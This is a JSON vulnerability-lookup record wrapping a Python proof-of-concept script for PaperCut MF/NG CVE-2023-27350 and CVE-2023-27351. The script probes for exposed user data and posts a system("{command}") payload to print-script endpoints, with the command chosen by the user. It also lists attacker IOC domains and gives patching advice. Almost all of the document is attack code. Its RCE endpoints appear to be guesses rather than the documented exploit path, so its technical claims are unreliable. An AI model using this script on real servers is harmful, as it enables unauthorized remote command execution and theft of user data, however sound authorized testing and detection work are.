{"uuid": "02cf87a2-06b1-4a80-8cb5-555d8a1bcd36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27350", "type": "seen", "source": "https://gist.github.com/HORKimhab/553834eb2fe4292d17dedd4371241851", "content": "#!/usr/bin/env python3\n\"\"\"\nPaperCut MF/NG Vulnerability Test PoC\nCVE-2023-27350 (RCE) and CVE-2023-27351 (Information Disclosure)\nFor educational/testing purposes only - use on authorized systems only!\n\"\"\"\n\nimport requests\nimport json\nimport sys\nimport argparse\nimport urllib3\nfrom typing import Optional, Dict, List\n\n# Disable SSL warnings for testing\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nclass PaperCutVulnerabilityTester:\n    def __init__(self, target: str, port: int = 9191, use_https: bool = False):\n        \"\"\"\n        Initialize the tester for a PaperCut server\n        \n        Args:\n            target: IP address or hostname\n            port: Port number (default 9191 for HTTP, 9192 for HTTPS)\n            use_https: Use HTTPS instead of HTTP\n        \"\"\"\n        self.target = target\n        self.port = port\n        self.protocol = \"https\" if use_https else \"http\"\n        self.base_url = f\"{self.protocol}://{target}:{port}\"\n        self.session = requests.Session()\n        self.session.verify = False\n        self.session.headers.update({\n            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'\n        })\n        \n    def test_connection(self) -&gt; bool:\n        \"\"\"Test if the PaperCut server is reachable\"\"\"\n        try:\n            response = self.session.get(f\"{self.base_url}/\", timeout=5)\n            return response.status_code in [200, 302, 401, 403]\n        except Exception:\n            return False\n    \n    def check_vulnerable_version(self) -&gt; Optional[Dict]:\n        \"\"\"\n        Check for vulnerable version indicators\n        Returns version info if found, None otherwise\n        \"\"\"\n        vulnerable_versions = {\n            '8.0.0': '19.2.7',\n            '20.0.0': '20.1.6',\n            '21.0.0': '21.2.10',\n            '22.0.0': '22.0.8'\n        }\n        \n        # Try to get version from common endpoints\n        endpoints = [\n            '/about',\n            '/api/version',\n            '/app',\n            '/papercut'\n        ]\n        \n        for endpoint in endpoints:\n            try:\n                response = self.session.get(\n                    f\"{self.base_url}{endpoint}\", \n                    timeout=5, \n                    allow_redirects=True\n                )\n                \n                if response.status_code == 200:\n                    # Look for version in response\n                    text = response.text.lower()\n                    for version_range in vulnerable_versions:\n                        if version_range.replace('.', '') in text.replace('.', ''):\n                            return {\n                                'indicator': version_range,\n                                'endpoint': endpoint,\n                                'vulnerable': True,\n                                'vulnerabilities': ['CVE-2023-27350', 'CVE-2023-27351']\n                            }\n            except Exception:\n                continue\n        \n        return None\n    \n    # ===================== CVE-2023-27351 (Information Disclosure) =====================\n    def test_po1219_info_disclosure(self) -&gt; Dict:\n        \"\"\"\n        Test for CVE-2023-27351 / PO-1219 - User account data vulnerability\n        This attempts to pull user information without authentication\n        \"\"\"\n        results = {\n            'vulnerability': 'CVE-2023-27351 (PO-1219)',\n            'detected': False,\n            'details': [],\n            'risk': 'High (8.2 CVSS)'\n        }\n        \n        # Common endpoints that might expose user data\n        test_endpoints = [\n            '/api/users',\n            '/api/user-list',\n            '/services/user',\n            '/rpc/user',\n            '/user/export',\n            '/api/user/',\n            '/user/search'\n        ]\n        \n        for endpoint in test_endpoints:\n            try:\n                response = self.session.get(\n                    f\"{self.base_url}{endpoint}\",\n                    timeout=5,\n                    params={'limit': 1}  # Try to limit results\n                )\n                \n                if response.status_code == 200:\n                    content_type = response.headers.get('content-type', '')\n                    if 'json' in content_type.lower() or 'xml' in content_type.lower():\n                        try:\n                            data = response.json() if 'json' in content_type.lower() else None\n                            if data and any(key in str(data).lower() for key in ['username', 'email', 'user']):\n                                results['detected'] = True\n                                results['details'].append({\n                                    'endpoint': endpoint,\n                                    'status': 'Potential user data exposure',\n                                    'sample': str(data)[:200] + '...' if len(str(data)) &gt; 200 else str(data)\n                                })\n                        except:\n                            pass\n            except Exception:\n                continue\n        \n        return results\n    \n    # ===================== CVE-2023-27350 (Remote Code Execution) =====================\n    def test_po1216_rce(self, test_command: str = \"echo test\") -&gt; Dict:\n        \"\"\"\n        Test for CVE-2023-27350 / PO-1216 - Remote Code Execution\n        This attempts to execute commands without authentication\n        \n        Args:\n            test_command: Command to test execution (default: echo test)\n        \"\"\"\n        results = {\n            'vulnerability': 'CVE-2023-27350 (PO-1216)',\n            'detected': False,\n            'details': [],\n            'risk': 'Critical (9.8 CVSS)'\n        }\n        \n        # Common RCE vectors for PaperCut\n        rce_vectors = [\n            # Print script injection\n            {\n                'endpoint': '/rpc/printscript',\n                'method': 'POST',\n                'data': {\n                    'script': f'system(\"{test_command}\")',\n                    'name': 'test'\n                }\n            },\n            # Config modification via setup-wizard\n            {\n                'endpoint': '/api/config',\n                'method': 'POST',\n                'data': {\n                    'key': 'print-and-device.script.enabled',\n                    'value': 'Y'\n                }\n            },\n            # Device script upload\n            {\n                'endpoint': '/api/device/script',\n                'method': 'POST',\n                'data': {\n                    'script': f'print(\"{test_command}\")',\n                    'device': 'test'\n                }\n            }\n        ]\n        \n        for vector in rce_vectors:\n            try:\n                if vector['method'] == 'GET':\n                    response = self.session.get(\n                        f\"{self.base_url}{vector['endpoint']}\",\n                        timeout=5\n                    )\n                else:\n                    response = self.session.post(\n                        f\"{self.base_url}{vector['endpoint']}\",\n                        json=vector['data'],\n                        timeout=5,\n                        headers={'Content-Type': 'application/json'}\n                    )\n                \n                # Check for signs of command execution\n                if response.status_code in [200, 201, 202]:\n                    if test_command in response.text:\n                        results['detected'] = True\n                        results['details'].append({\n                            'vector': vector,\n                            'status': f'Command execution likely succeeded: {test_command}',\n                            'response_preview': response.text[:200]\n                        })\n            except Exception:\n                continue\n        \n        return results\n    \n    # ===================== IOC Detection =====================\n    def check_iocs(self) -&gt; Dict:\n        \"\"\"\n        Check for known Indicators of Compromise (IOCs)\n        \"\"\"\n        results = {\n            'iocs_detected': [],\n            'suspicious_activity': False,\n            'details': []\n        }\n        \n        known_iocs = [\n            'upd488.windowservicecemter.com',\n            'anydeskupdate.com',\n            'anydeskupdates.com',\n            'netviewremote.com',\n            'windowservicecenter.com',\n            'winserverupdates.com'\n        ]\n        \n        # Check for suspicious scripts\n        for endpoint in ['/setup', '/scripting', '/scripts']:\n            try:\n                response = self.session.get(\n                    f\"{self.base_url}{endpoint}\",\n                    timeout=5\n                )\n                if response.status_code == 200:\n                    text = response.text.lower()\n                    for ioc in known_iocs:\n                        if ioc in text:\n                            results['iocs_detected'].append(ioc)\n                            results['suspicious_activity'] = True\n                            results['details'].append({\n                                'type': 'IOC',\n                                'indicator': ioc,\n                                'location': endpoint\n                            })\n            except Exception:\n                continue\n        \n        return results\n    \n    # ===================== Main Test =====================\n    def run_all_tests(self) -&gt; Dict:\n        \"\"\"\n        Run all vulnerability tests\n        \"\"\"\n        print(f\"[*] Testing PaperCut server at {self.base_url}\")\n        print(\"[*] Running tests for CVE-2023-27350 and CVE-2023-27351\\n\")\n        \n        results = {\n            'target': self.target,\n            'port': self.port,\n            'connection': self.test_connection(),\n            'version_check': self.check_vulnerable_version(),\n            'po_1219': self.test_po1219_info_disclosure(),\n            'po_1216': self.test_po1216_rce(),\n            'iocs': self.check_iocs()\n        }\n        \n        # Summary\n        print(\"\\n\" + \"=\"*60)\n        print(\"TEST RESULTS SUMMARY\")\n        print(\"=\"*60)\n        \n        if not results['connection']:\n            print(\"[!] Unable to connect to the target. Check host and port.\")\n            return results\n        \n        print(f\"[+] Connection successful to {self.base_url}\")\n        \n        if results['version_check']:\n            print(f\"[!] Server appears to be running a vulnerable version\")\n            print(f\"    Indicator: {results['version_check']}\")\n        \n        # PO-1219 Results\n        po_1219 = results['po_1219']\n        print(f\"\\n[!] {po_1219['vulnerability']} (CVSS: {po_1219['risk']})\")\n        if po_1219['detected']:\n            print(\"    \u26a0\ufe0f  POTENTIALLY VULNERABLE - Information disclosure detected\")\n            for detail in po_1219['details']:\n                print(f\"    - Endpoint: {detail['endpoint']}\")\n                print(f\"      Status: {detail['status']}\")\n        else:\n            print(\"    \u2713 No obvious information disclosure detected\")\n        \n        # PO-1216 Results\n        po_1216 = results['po_1216']\n        print(f\"\\n[!] {po_1216['vulnerability']} (CVSS: {po_1216['risk']})\")\n        if po_1216['detected']:\n            print(\"    \u26a0\ufe0f  CRITICAL - Remote Code Execution detected!\")\n            for detail in po_1216['details']:\n                print(f\"    - Vector: {detail['vector']['endpoint']}\")\n                print(f\"      Status: {detail['status']}\")\n        else:\n            print(\"    \u2713 No immediate RCE vulnerability detected\")\n        \n        # IOC Check\n        iocs = results['iocs']\n        if iocs['suspicious_activity']:\n            print(f\"\\n[!] SUSPICIOUS ACTIVITY DETECTED!\")\n            print(\"    Indicators of Compromise found:\")\n            for ioc in iocs['iocs_detected']:\n                print(f\"    - {ioc}\")\n        else:\n            print(\"\\n[+] No known IOCs detected\")\n        \n        print(\"\\n\" + \"=\"*60)\n        print(\"[*] RECOMMENDATIONS:\")\n        print(\"    1. If vulnerable, upgrade to version 20.1.7, 21.2.11, or 22.0.9+\")\n        print(\"    2. Block external access to ports 9191 and 9192\")\n        print(\"    3. Review server logs for suspicious activity\")\n        print(\"    4. Check for the IOCs listed in the PaperCut KB article\")\n        print(\"=\"*60)\n        \n        return results\n\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description='PaperCut MF/NG Vulnerability Tester (CVE-2023-27350, CVE-2023-27351)',\n        epilog='Use only on authorized systems!'\n    )\n    parser.add_argument('target', help='Target IP address or hostname')\n    parser.add_argument('-p', '--port', type=int, default=9191, \n                       help='Port (default: 9191 for HTTP, 9192 for HTTPS)')\n    parser.add_argument('--https', action='store_true', \n                       help='Use HTTPS (default port: 9192)')\n    parser.add_argument('--command', default='echo test',\n                       help='Test command for RCE detection (default: echo test)')\n    \n    args = parser.parse_args()\n    \n    # Adjust port for HTTPS if not specified\n    if args.https and args.port == 9191:\n        args.port = 9192\n    \n    tester = PaperCutVulnerabilityTester(args.target, args.port, args.https)\n    tester.run_all_tests()\n\n\nif __name__ == \"__main__\":\n    print(\"\"\"\n    \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n    \u2551  PaperCut MF/NG Vulnerability Tester (CVE-2023-27350 &amp; CVE-2023-27351)      \u2551\n    \u2551  WARNING: Use only on systems you own or have explicit permission to test!  \u2551\n    \u2551  Based on PaperCut KB: PO-1216 and PO-1219                                  \u2551\n    \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n    \"\"\")\n    main()", "creation_timestamp": "2026-08-28T07:17:24.767619Z"}